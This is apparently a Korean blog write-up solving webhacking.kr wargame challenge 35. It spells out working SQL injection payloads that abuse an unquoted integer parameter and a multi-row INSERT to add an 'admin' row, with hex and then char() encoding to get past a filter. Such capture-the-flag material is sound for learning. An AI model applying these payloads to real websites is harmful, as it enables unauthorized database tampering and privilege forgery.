write-up/webhacking.kr

35번

범고래_1 2016. 4. 6. 12:40



challenge35_list라는 테이블에 내 id, ip $_GET[phone]을 넣는다.


$_GET[phone]이 int형이라 쿼터가 없어서 인젝션 가능


테이블에서 id='admin' and ip='내 ip'이면 클리어.


그런데 insert될 때는 항상 내 id와 내 ip로만 들어간다. (id='admin'을 만족시켜야 한다.)



Multi Row Insert를 이용하여 insert 값을 주작한다.


insert into table values (id, ip, phone), (id, ip, phone);


두 행이 동시에 들어간다.


첫 번째 id, ip값은 $_SERVER 변수로 조작 불가이므로, 두 번째걸 조작해준다.


문자열은 0x로 우회한다.


1), (0x61646d696e, 0x3139322e3136382e34342e3832, 1


전체 쿼리는


insert into challenge35_list values (id, ip, 1), (0x61646d696e, 0x3139322e3136382e34342e3832, 1)


근데 no hack이 뜬다.


뭐가 막혀있나 봤더니 x가 필터링 되고있다.



char함수를 사용한다.


1), (char(97,100,109,105,110), char(49,57,50,46,49,54,56,46,52,52,46,52,49),1


전체 쿼리는 


insert into challenge35_list values (id, ip, 1), (char(97,100,109,105,110), 


char(49,57,50,46,49,54,56,46,52,52,46,52,49), 1)

'write-up > webhacking.kr' 카테고리의 다른 글

53번  (0) 2016.04.09
40번  (0) 2016.04.06
50번  (0) 2016.03.29
21번  (0) 2016.03.29
49번  (0) 2016.03.29